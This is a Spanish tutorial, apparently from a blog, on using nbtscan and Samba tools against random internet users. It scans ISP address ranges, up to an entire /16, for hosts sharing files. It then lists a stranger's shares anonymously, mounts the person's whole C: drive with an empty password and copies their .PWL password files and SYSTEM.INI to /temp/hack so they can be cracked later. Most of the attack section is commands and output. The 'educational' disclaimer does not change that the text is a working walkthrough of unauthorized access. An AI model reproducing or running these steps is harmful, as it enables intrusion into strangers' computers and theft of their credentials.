Detección remota de servicios NETBIOS

Analizamos una herramienta para linea de comandos que escanea todos los nombres de servidores NETBIOS en una red TCP/IP local o remota en busca de servicios compartidos. Antes que nada quisiera aclarar que utilizaremos la aplicación Nbtscan, pero no es la que podemos encontrar en casi todas las distribuciones GNU/Linux, sino la que fue creada por Steve Friedl.

Del mismo nombre, pero con funciones más interesantes, esta aplicación se basa en la funcionalidad de la utilidad Nbtstat, disponible en los sistemas Windows y puede escanear tanto una dirección IP, como un rango de ellas sin problemas.

En el sitio Internet de su creador http://www.unixwiz.net/tools/nbtscan.html no encontraremos el código fuente, ya que él mismo argumenta no tener tiempo para explicar su compilación. Esto hace que estemos frente a una aplicación gratuita o Freeware, pero no de código libre o OpenSource.

En este sitio existen binarios para Windows, GNU/ Linux y SCO Open Server 5.0.6 listos para descargar.

Nbtscan pretende ser una herramienta todo incluido, realizando escaneos al puerto 137/UDP y buscando servidores de nombres NETBIOS. Como resultado nos mostrará los equipos de nuestra red que podrían estar compartiendo recursos.


¿Para qué puede servir esto?


Muchas personas, casi siempre usuarios finales, instalan redes de área local para compartir archivos o impresoras en sus domicilios o pequeñas empresas. Hasta aquí todo perfecto, sin embargo, lo que ellos no saben es que si tienen una conexión a Internet, podría ser posible que compartieran todos sus recursos con el mundo, y solamente un firewall podría evitar algo así.

Veamos un ejemplo, supongamos que nuestro proveedor de servicios de Intrernet nos asigna la dirección IP dinámica 201.250.27.73, y nosotros queremos saber qué equipos tienen el servicio de NETBIOS o SAMBA en el rango de direcciones IP 250.250.27.1-254:


debian:~# nbtscan 201.250.27.1-254
201.250.27.11 MSHOME\ESTUDIO SHARING
201.250.27.49 WORKGROUP\FAMILIA
201.250.27.71 FIGARI\PC1
201.250.27.104 GRUPO_TRABAJO\MADCELERON
201.250.27.105 DESDA\MELGARE SHARING
201.250.27.130 -no name-
201.250.27.168 -no name-
201.250.27.211 WORKGROUP\PC1 SHARING
*timeout (normal end of scan)

En este resultado podemos ver la lista de direcciones IP, DOMINIO\EQUIPO tal y como las presenta el servidor de nombres de NETBIOS.
La cadena SHARING significa que el equipo tiene habilitada la opción de archivos compartidos.

La herramienta también puede identificar sistemas GNU/Linux que ejecuten servidores SAMBA.
Realizaremos una segunda búsqueda, pero esta vez utilizaremos la herramienta de filtrado Grep para construir una nueva lista, exclusivamente compuesta por aquellos hosts que comparten recursos:


debian:~# nbtscan 201.250.27.1-254 |grep SHARING
201.250.27.11 MSHOME\ESTUDIO SHARING
201.250.27.105 DESDA\MELGARE SHARING
201.250.27.211 WORKGROUP\PC1 SHARING
*timeout (normal end of scan)

Ahora tenemos una lista de todos los hosts que comparten recursos.

El siguiente paso es ver los recursos que comparten y para ello, haremos uso del protocolo SAMBA mediante su cliente Smbclient (Listado 3).


debian:~# smbclient -L "ESTUDIO" -I 201.250.27.11
Password:
Anonymous login successful
Domain=[MSHOME] OS=[Windows 5.1] Server=[Windows 2000
LAN Manager]
Sharename Type Comment
--------- ---- -------
cli_rpc_pipe_open: cli_nt_create failed on pipe \srvsvc
to machine PC. Error was
NT_STATUS_ACCESS_DENIED
Error returning browse list: NT_STATUS_ACCESS_DENIED
Anonymous login successful
Domain=[MSHOME] OS=[Windows 5.1] Server=[Windows 2000
LAN Manager]
Server Comment
--------- -------
Workgroup Master
--------- -------

Mediante el comando Smbmount conseguimos que nuestro equipo intente hacerse pasar por un host de la red a la que pertenece el host con dirección IP 201.250.27.11 y que escanee al equipo ESTUDIO en busca de recursos compartidos a los que acceder.

Samba siempre nos ofrece la posibilidad de introducir la contraseña de acceso incluso cuando la red no tenga
ninguna. Simplemente presionaremos Enter y probaremos suerte.

En este caso, un posible Windows 2000 no nos muestra ningún dato. También puede ser que un firewall esté evitando nuestra detección remota de servicios.

Realizaremos entonces una segunda prueba interrogando a otro host (Listado 4).


debian:/mnt# smbclient -L "MELGARE" -I 201.250.27.105
Password:
Sharename Type Comment
--------- ---- -------
cli_rpc_pipe_open: cli_nt_create failed on pipe \srvsvc
to machine MELGAREJO. Error was
ERRSRV - ERRerror (Non-specific
error code.)
OLIVETTI Printer
E DIVIDI Disk
1 OLYMPUS Disk
PRINTER$ Disk
HP Printer
D Disk
C Disk
IPC$ IPC Comunicación remota
entre procesos
Server Comment
--------- -------
Workgroup Master
--------- -------

En este caso, el dueño de este equipo comparte impresoras y recursos de almacenamiento en la red.
Aunque podríamos avisarle de que tiene un grave problema de seguridad y de que su explotación sería trivial para un usuario malicioso, el proveedor de servicios de Internet o ISP mediante el cual se conecta, no nos facilitaría sus datos de contacto, así que sería imposible avisarle nosotros mismos.

Podríamos entonces conectar con su equipo y dejar un mensaje en un lugar visible avisándole de los riesgos a los que está expuesto.

Eso si, siempre y cuando esté compartiendo algún recurso con permisos de escritura

El usuario está compartiendo la unidad C:\ al completo. Un grave error. En este caso, podríamos hacer uso de nuevo del protocolo SAMBA para hacernos pasar por un host que forma parte de su red y conectar con sus recursos compartidos.

Esto lo realizaremos mediante el comando siguiente:

debian:/mnt# smbmount \\MELGARE\"C"
/mnt/local -o ip="201.250.27.105"
Password:

Con este comando hemos indicado a SAMBA que queremos acceder al recurso compartido C:\ del equipo "MELGARE", cuya dirección IP corresponde con 201.250.27.105, y que monte su contenido en un directorio en nuesto equipo local, en la ruta /mnt/loca.

Nos pedirá entonces que especifiquemos una contraseña, a lo que presionamos Enter. Si SAMBA no nos muestra ningún error, querrá decir que hemos conseguido montar dicho recurso compartido en nuestra equipo.

Veamos:

debian:/mnt# cd local
debian:/mnt/local# cd windows
debian:/mnt/local/windows#

Interesante. Al parecer se trata de un sistema Windows 98, Millenium (ME) o similar. De ser así, podríamos copiar los archivos de contraseñas junto con el archivo SYSTEM.INI. Esto será útil para un futuro artículo donde explicaré cómo descifrar estos archivos de contraseñas desde nuestro sistema GNU/Linux.


debian:/mnt/local/windows# cp *.PWL /temp/hack
debian:/mnt/local/windows# cp SYSTEM.INI /temp/hack

Perfecto, no retorna ningún error. Eso quiere decir que dichos archivos se han copiado con éxito en el directorio /temp/hack.

Acto seguido, podríamos probar a escribir en algún archivo o incluso borrarlo, si es que tenemos permiso de escritura.

Pero recuerda no hacer a los demás lo que no te gustaría que te hagan a tí

Es por ello que dejaremos libre a nuestro conejillo de indias.

debian:/mnt/local/windows# cd ..
debian:/mnt/local# cd ..
debian:/mnt# umount local
debian:/mnt#

Antes de terminar con este artículo, explicaremos como escanear toda la subred en busca de más recursos compartidos.
El comando seria el siguiente:


debian:~# nbtscan 201.250.27.1/16 |grep SHARING
201.250.0.189 RE\XIENA SHARING
201.250.0.254 GRUPO_TRABAJO\PC SHARING
201.250.1.219 PIRA\LE SHARING
201.250.1.227 GRUPO_TRABAJO\ATRAS SHARING
201.250.1.249 RED\HOTEL1 SHARING
201.250.2.23 INDSTEC\DEBIAN SHARING
201.250.2.39 TELN\LORENA SHARING
201.250.2.69 GRUPO_TRABAJO\GOLD SHARING
201.250.2.73 MADER\MAELO SHARING
201.250.2.134 LN\WASON SHARING
201.250.2.173 SIVAM\CEIA SHARING
201.250.2.220 LAMBLA\LA RAMBLA 3 SHARING
201.250.2.252 \VILMO SHARING

Usaremos la notación /16 para especificar la máscara de subred en bits. De este modo, podremos escanear una red de clase B completa, o lo que es lo mismo, 65.534 hosts. La lista será realmente larga, por lo tanto la guardaremos en un archivo de texto añadiendo la cadena >scan.txt al final del comando anterior:


debian:~# nbtscan 201.250.27.1/16 |grep SHARING >scan.txt

De esta forma podremos analizar y realizar un diagnóstico de cualquier red, buscando servidores de nombres NETBIOS mediante el análisis del puerto 137/UDP.


Conclusiones


Para finalizar, si leemos la documentación de Nbtscan, podremos encontrar muchas más opciones para escanear todos los nombres de servidores NETBIOS más detalladamente y así encontrar más recursos compartidos.

También podremos hacer cosas muy interesantes utlizando SAMBA, como por ejemplo enviar un documento a la cola de impresión de las impresoras que aparecen compartidas en la red.




Nota: Todos los ejemplos utilizados en este artículo han sido realizados con fines educativos. En algunos países, escanear una dirección IP puede ser ilegal.
La información presentada en todos los listados es una recreación realizada para demostrar como funcionaría la aplicación en un entorno real. Tampoco se ha mostrado información que pudiera comprometer a terceros. Asimismo, no se realizó ningún escaneo de red que pudiera comprometer a ningún proveedor de servicios de Internet (ISP).

0 comentarios: